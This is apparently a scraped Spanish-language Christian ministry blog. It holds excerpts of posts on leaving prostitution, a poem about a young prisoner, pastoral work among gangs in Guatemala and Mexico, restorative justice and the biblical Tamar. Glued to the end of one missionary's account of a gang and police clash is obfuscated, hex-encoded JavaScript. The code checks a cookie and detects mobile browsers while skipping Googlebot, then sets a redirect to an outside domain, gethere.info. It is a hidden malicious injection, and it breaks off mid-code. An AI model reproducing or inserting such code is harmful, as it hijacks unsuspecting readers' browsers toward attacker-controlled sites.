Por Favor, Pregúntenme

Usado con Permiso
Publicado originalmente en inglés.

 “¿Cuál es la mayor lucha para ti ahora – después de dejar la prostitución y tener una nueva vida?” Nadie me había preguntado eso, pero ¡REALMENTE DESEO HABLAR DE ESO!

Está siempre en mi mente. Mis experiencias y también la realidad de la prostitución en este mundo, y el papel que puedo jugar en ayudar a disminuirlo… Todas estas cosas están en mi mente cada día. Nunca dejo de pensar en la prostitución. Es un horror que debe terminar.
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El centro de la cebolla

por Roger Cowan

 

Me encontré con una cebolla tirada en el sol
Abandonada en la basura, donde no podría ser de uso para nadie
Yacía en el suelo sucio con piel oscurecida y marchita
Que no me dejó examinar el contenido que tenía dentro.

Con curiosidad, la recogí y entonces comencé a pelar
Las capas de externas fuera para ver lo que el interior podría revelar
Y mientras hacia mi tarea reduciendo el tamaño superficial
Los vapores de la cebolla trajeron dolor intenso y lágrimas brotaron de mis ojos.

Capas endurecidas, contaminadas fueron las primeras en ser removidas
Pero los aros internos eran más suaves y la calidad mejoró.
Y cuando llegue al centro de la cebolla terminando mi viaje
Descubrí que el núcleo estaba incorrupto; era tierno, fresco y puro.

 Me encontré con un joven en la cárcel su cuerpo cicatrizado, tatuado
Un marginado de la sociedad su actitud violenta, lasciva
Entonces con curiosidad busque conocer como era este joven por dentro
Cual era la naturaleza de su alma que sentimientos escondía

 Su cubierta exterior era despiadada, dura y difícil de penetrar
Pero mientras me gané lentamente su confianza descubrí un estado diferente.
Él derramó la armadura que había construido a lo largo de su sórdido pasado
Para protegerse de las amenazas que había enfrentado lo que me dejo muy horrorizado

Abandonado, hambriento, despreciado, abusado, rechazado por años
La angustia liberada por heridas abiertas trajo dolor punzante y lágrimas
Las capas superficiales de este joven eran vicio, maldad y furia
Pero en su interior yo encontré el amor y la mansedumbre de un niño

¿Cómo podemos alcanzar ese corazón tierno, que caminos podemos idear
Para romper la insensibilidad; para remover lo que causa la muerte de los jóvenes?
No cárceles sino la gracia transformadora de Dios esa debe ser nuestra meta ferviente
Pelar las capas, llegar al centro, liberar su alma anhelante.

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Pastoreando en los lugares difíciles

Entrevista con el Pastor Pedro Landaverde
Por Andyra Polanco
Publicado Originalmente en PAX Noticias

Desde el año 2009 el pastor Pedro Landaverde trabaja en la Comunidad marginal LA IBERIA, con proyectos que buscan la transformación de esa comunidad (reconocida por la dominación de las pandillas). Entre los proyectos impulsados están: formación de una panadería, elaboración  de productos de limpieza, establecimiento de una escuela Parvularia con el enfoque en prevención de violencia. Además es fundador de CAVAR.

CAVAR es  un Comité con Acción en Valores del Reino, eso quieren decir sus siglas. Se formó allá por el año 2006, visitando los lugares donde están los jóvenes en situación de calle; son muchachos que huelen pega, unos duermen bajo el puente, o se quedan en el parque, a la intemperie. Esa es la condición de vida de ellos. Este grupo está por la Plaza El Trovador; en esos lugares se mantienen  durante el día y la noche.
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Lagrimas silenciosas: revelando la verdad

Para resaltar una de estas experiencias de nuestro trabajo en Latino América, me gustaría hacer referencia a un mensaje que enviamos hace algún tiempo. En este, se exponía sobre el “discernimiento” como una de las principales características de los “Lugares de aprendizaje” en donde podemos ver y escuchar a Dios actuando. En el proceso de discernimiento tratamos de mantener nuestros ojos abiertos al mover del Espíritu por medio de un mapeo del trabajar de Dios. Trabajamos tratando de trazar un mapa del dolor y la esperanza de la ciudad o comunidad, creyendo que esto nos ayudará a entender el corazón de Dios para ese lugar en específico.

Por eso, me gustaría compartir con ustedes uno de los procesos de mapeo que tuvimos con nuestra comunidad en la ciudad de Guatemala; usamos el proceso triple de mapeo. Hace algún tiempo, recibimos una invitación para enseñar una clase del programa de Maestría del Seminario Teológico Centroamericano, para la cual utilizamos distintos fragmentos de los cursos de la serie Salmos de la Calle. El nombre del curso era “Principios Fundamentales para la Misionología Urbana.” A esta clase asistieron 25 estudiantes de maestría representando aproximadamente 12 países Latinoamericanos.
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Una reunión de confianza

Esta semana, tuve la inmensa bendición de acompañar a mis queridos amigos de La Limonada en “una reunión de confianza.” Cuando caminábamos hacia el lugar, alguien preguntaba si íbamos hacia un servicio religioso, o un culto… pero el estereotipo detrás de estas palabras es tan fuerte, por lo que una “reunión de confianza” captura mejor lo sucedido esa noche y fue el nombre que una persona de la comunidad usó.

Pero era una reunión con una historia trágica detrás: hace unas semanas, (y entre diversas versiones de los hechos) nos encontramos con la terrible noticia de la muerte de dos jóvenes luego de un enfrentamiento armado. En medio de la conmoción, una bala perdida alcanzó a una tercera persona: un niño de 3 años con 8 meses de edad, alumno de una de las escuelitas dirigidas por Hna. Tita Evertsz. Desde ese día, han habido rumores, comentarios, muchas especulaciones sobre los muchachos, que enturbian aún más la historia de lo ocurrido y el ambiente, en medio del dolor y la tristeza.


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Y me seréis testigos…

Hace ya varios años que esto sucedió, pero hoy el Señor lo trajo a mi mente… Caminaba junto a la directora de una fundación en las calles de un asentamiento en la ciudad de Guatemala, cuando un muchacho, extremadamente afectado por los efectos de las drogas, se acercó a nosotras con un cuchillo grande en la mano. Ni siquiera tenía fuerzas para sostener el cuchillo. Caminaba tambaleándose, pero su mirada era penetrante. Movía su mano por el peso del cuchillo, pero no dejaba de ser amenazador. La imagen frente a mí me dejó petrificada… Por el contrario, la hermana que iba conmigo, lo llamó por su nombre, y le dijo, “Présteme su cuchillo, se lo guardo acá hasta que usted esté bien.” El muchacho emitió algunos ruidos y le extendió la mano con el cuchillo. Siguió su camino y nosotras seguimos el nuestro.

En ese momento no lo comenté ni le busqué muchas implicaciones sobre espirituales o místicas. Lo vi como parte del ministerio en lugares difíciles, y la confianza que se gana al estar ahí. 
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La esperanza del mundo

 “Ustedes son la luz del mundo. Una ciudad en lo alto de un monte no se puede esconder. Ni se enciende una lámpara para cubrirla con un cajón. Por el contrario, se pone en la repisa para que alumbre a todos los que están en casa. Así alumbre su luz delante de las personas, para que vean sus buenas obras y glorifiquen al Padre que está en el cielo.” (Mat. 5:14-16)

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Ayer, por primera vez en mi vida, presencié una “campal.” En León Guanajuato se le llama así a una lucha entre pandillas, o como en el caso de ayer, a un intercambio de balas y rocas entre pandilleros y policías. Todo inició porque un hombre de la localidad donde está ubicada nuestra iglesia baleó a dos miembros de la pandilla los Calas. A uno lo dejó gravemente herido, al borde de la muerte. Estaba a punto de darle el “tiro de gracia” cuando unos policías llegaron y le quitaron el arma.

No conozco bien las razones del suceso. Cuando yo llegué al lugar ya se habían llevado a los dos heridos, y había muchas opiniones y especulaciones sobre lo ocurrido. Pero sí fui testigo del mayor acto de violencia que hubiera presenciado en vivo en toda mi vida. Los padres y hermanos de los jóvenes heridos apedreaban la casa del hombre que los baleó, tratando de entrar para vengarse de la esposa y los hijos del hombre. De adentro de la vivienda se escuchaban disparos, que los de la casa lanzaban para defenderse de quienes intentaban entrar para lincharlos. Todo esto a pesar de que ya la policía se había llevado al hombre que había herido a los jóvenes. Como muchos otros, yo corrí para refugiarme de los disparos y las piedras.

Al momento llegaron muchas patrullas de la policía, y los oficiales dispersaron a la enfurecida familia de los jóvenes baleados. Pero no hubo detenidos, ni inspección de la casa del hombre baleador, a pesar de que muchos vecinos aseguraban que había armas de grueso calibre en el lugar. Cuando me acerqué a un oficial para indicarle que si no revisaban la vivienda para confiscar las armas la espiral de violencia aumentaría, su respuesta fue: “Eso no nos compete a nosotros, tendrán que poner una denuncia ante la policía federal” (en México hay policías, municipales, estatales y federales). Mientras tanto, los hermanos de los jóvenes heridos no cesaban de gritar a los policías, “Si ustedes no hacen nada, nosotros sí lo haremos, para que después no vengan a quejarse,” y “la violencia reina aquí en la Diez de mayo.” La respuesta de un oficial fue: “Hagan lo que quieran.”

Lo que ocurrió a continuación resultó para mí muy enredado y difícil de entender. En otro lugar de la localidad, cerca de donde había sucedido lo de los jóvenes baleados, policías y miembros de los Calas se enfrascaron en una enorme “batalla” campal, aquellos con balas y laces lacrimógenos, mientras que los Calas con rocas, palos y cuanta cosa pudieron encontrar. Ni siquiera estoy seguro de cómo inició todo. Nuevamente, llegué al lugar después de que lo peor había pasado, con la intención de sacar de ahí a algunos Calas amigos que nuestra iglesia ha tratado de alcanzar para Cristo.

Después que los llevamos a su casa, regresé al lugar para ver si podíamos ayudar de alguna manera. Resultó que los policías habían iniciado el zafarrancho. Sin autorización ni orden de cateo, entraron al hogar de dos de los muchachos, y ahí mismo los golpeaban a ellos y sus familias (incluyendo niños, mujeres y ancianos). Más de cincuenta miembros de la pandilla que observaban todo no se contuvieron, y al grito de “sobre de ellos,” llovieron con piedras y palos a los policías. La razón por la cual estos oficiales que aparentemente no podían entrar en la casa donde había armas sí lo hicieron en los hogares de los Calas la entendí después: el hombre que baleó a los jóvenes había sido anteriormente comandante de la policía. No puedo estar seguro de esto, pero sospecho fuertemente que los policías iniciaron la campal para distraer a los Calas de linchar a la familia del ex comandante baleador.

Sin embargo, esta acción lo que hizo fue enfurecer más a los Calas. Cuando me enteré de que los hermanos de los jóvenes baleados planeaban “madrugar” a la familia del ex comandante para lincharlos, regresé a su casa para advertirle a la madre que se fuera inmediatamente con sus hijos. Tuvimos que sacarla a ella y a una hija suya a escondidas, pues la vigilancia de la familia de los jóvenes baleados era incesante.

En medio de toda esta violencia, yo miraba la gran cantidad de niños que eran testigos de lo ocurrido, aprendiendo desde pequeños la manera “normal” en la que se “resuelven” los conflictos en la Colonia Diez de Mayo. Incluso en una de las casas donde los policías entraron para golpear personas, se estaba llevando a cabo una fiesta infantil. Todos los niños presentes participaron de la campal como lo más lógico que debían hacer. Muchos de ellos miran a los Calas como “héroes” valientes y dignos de imitar.

Ahora bien, para mis hermanos y hermanas que ministran diariamente en contextos de violencia generalizada en Centroamérica y otras latitudes, la experiencia que acabo de narrar es “el pan de todos los días.” Pero para mí constituyó una experiencia nueva y reveladora,  y aunque esta clase de cosas se dan muy seguido en la comunidad donde está nuestra iglesia Camino de Vida, yo nunca había presenciado una tan directamente.

Camino de Vida está ubicada en un contexto caracterizado por la violencia, la drogadicción, el alcoholismo, los embarazos en adolescentes y el suicidio. Hemos contado más de quince pandillas en los alrededores de nuestra congregación. Por lo mismo, hemos tomado el texto de Mateo 5 que aparece arriba como la mayor imagen eclesiológica que define nuestra iglesia. El tercer punto de la visión de Camino de Vida dice que somos un “faro de la luz de Cristo para nuestra comunidad.” Al menos intentamos serlo, mediante ministerios integrales a la niñez, las chicas adolescentes, los pandilleros y en el área de la educación.

Personalmente estoy convencido de la verdad de la expresión que le escuché por primera vez al pastor Bill Hybels: “La iglesia local es la esperanza del mundo”. Estoy convencido de que, por la gracia y el poder de Dios, la Colonia Diez de Mayo llegará a ser un lugar diferente mediante la presencia y obra de Camino de Vida. Y desde luego, esto aplica a todas las iglesias y ministerios que buscan transformar sus comunidades con el poder y la verdad del evangelio de Jesucristo y sus obras concretas de compasión.

Así que desde mi propia trinchera envío mis palabras de admiración y aliento para todos los consiervos que trabajan y sufren para que la salvación de Cristo llegue a todas esas comunidades heridas. ¡Ánimo hermanos! Tengan por seguro que su obra no es en vano.

Mauricio Acuña
Misionero, plantador de Iglesias en Méxicovar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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Justicia restaurativa

Cuando éramos niños, la explicación era más sencilla: si tomaste un lápiz de alguien, lo devuelves. Justicia retributiva.

Era un concepto sencillo, pero con el pasar de los años, la idea de justicia se fue haciendo más compleja ante nuestras diferentes realidades. Apareció el tema del castigo… No poder ver televisión, no poder hablar por teléfono, era entendible ante la desobediencia. Antes seguramente no me hubiera hecho sentido que alguien estuviera en la cárcel por haber robado, pero con los años, el concepto de castigo y justicia punitiva se hicieron más comunes. Pero, a pesar de que la Biblia habla de ambos casos, no se limita solo a ellos… también nos abre los ojos a una tercera vía: la justicia restaurativa. Y es que la justicia viene en diferentes formas, y éstas no son excluyentes la una de la otra. La justicia restaurativa es tal vez la menos conocida, y la que me ha tomado más tiempo de procesar, de digerir… pero en un país donde los índices de casos resueltos por el sistema son el 2% de los que se procesan, realmente es esperanzador poder ver la justicia con nuevos ojos.
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Ella no vivió feliz por siempre… pero vivió

Por Sharon Jaynes
Usado con permiso.

 

“Él me ha enviado a sanar los corazones heridos, a proclamar liberación a los cautivos y libertad de las tinieblas a los prisioneros… a consolar a todos los que están de duelo, y a confortar a los dolientes de Sion—a darles una corona de belleza en vez de cenizas, aceite de alegría en vez de luto, traje de fiesta en vez de espíritu de desaliento.” (Isaías 61:1-4 NVI).

De Amiga a Amiga

Todos sabemos el cuento de Cenicienta. Ella pasó de estar cautiva en la caldera a ser una belleza cautivadora en el baile, de estar cubierta de ceniza a ser coronada con joyas, de ser abusada por su malvada familia a ser adorada por todo el pueblo. A todos nos encantan los finales “Y fueron felices por siempre.”

En la Biblia, en 2 Samuel 13, hay una historia que de alguna manera me recuerda a la de Cenicienta, pero con dos grandes diferencias: esta no es un cuento de hadas y los eventos ocurren al revés. Esta es la historia de Tamar, la hermosa princesa hija del Rey David.  Tamar era una de las jóvenes mas bellas de todo el reino. Su nombre significa “palmera,” un símbolo de victoria y honor. Ella tenía muchos hermanos: hermanas, hermanos, medio hermanos y medio hermanas. Esto era una mezcla de desorden real.

Uno de sus medio hermanos, Amnon, codiciaba a su hermosa medio hermana hasta el punto de no poder dormir por la noche. Por el consejo de un mal amigo, Amnon planea atraer a Tamar a su habitación con la ayuda de su confiado padre. Amnon pretendió estar enfermo y pidió un poco del pan especial horneado de Tamar. El también solicitó que ella se lo diera con sus propias manos. Tamar obedeció la solicitud de su padre de ir a cuidar a su hermano. Después que ella entró en la habitación, el supuestamente enfermo Amnón ordenó a los sirvientes que abandonaran el cuarto y cerró con llave la puerta. Sujetó a Tamar, la tiró en la cama, y aún cuando ella le suplicó y rogó que parara, él le robó su posesión más preciada, su virginidad. Después que él había hecho lo que deseaba con ella y su lujuria estaba satisfecha, Amnón arrojó a Tamar en el suelo juntamente con su ropa y sus sueños.
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Tatuajes y luces brillantes

Sentado en un piso de concreto en medio de un pasillo del sector de pandilleros, estoy rodeado de algunos los criminales jóvenes más infames de Guatemala. Ellos están encuclillados a lo largo de las paredes y aprenden fuera de las puertas de su celda a escuchar.

Sus rostros, cabezas, cuellos, hombros, brazos y cuerpos están cubiertos con tatuajes. Símbolos mayas, términos de pandillas estadounidenses en las letras e imágenes inquietantes de horror y muerte. Mucha de la tinta cubre el tejido distorsionado de heridas de arma blanca y balas.

El Nuevo Testamento en Español está doblado hacia atrás en mi mano al final de Hechos 7, y vamos a ver si hay una conexión entre  la historia escrita en estas páginas y las escritas en sus cuerpos y memorias.
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